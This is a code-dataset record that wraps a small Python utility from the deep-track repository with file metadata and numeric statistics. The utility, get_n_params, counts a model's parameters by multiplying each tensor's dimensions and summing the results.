0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.166667
0
0.722222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
2
f53682f7365da61bd7d0f3f72b18779b18999529
173
py
Python
pred_learn/utils/various.py
EqThinker/deep-track
c72dc7b182c66c13fb6f5df38b6ed6e78f625a41
[ "Apache-2.0" ]
null
null
null
pred_learn/utils/various.py
EqThinker/deep-track
c72dc7b182c66c13fb6f5df38b6ed6e78f625a41
[ "Apache-2.0" ]
8
2020-09-25T23:51:58.000Z
2022-02-10T00:32:55.000Z
pred_learn/utils/various.py
EqThinker/deep-track
c72dc7b182c66c13fb6f5df38b6ed6e78f625a41
[ "Apache-2.0" ]
null
null
null
def get_n_params(model): pp=0 for p in list(model.parameters()): nn=1 for s in list(p.size()): nn = nn*s pp += nn return pp
17.3
38
0.479769
28
173
2.892857
0.607143
0.148148
0
0
0
0
0
0
0
0
0
0.019231
0.398844
173
9
39
19.222222
0.759615
0
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2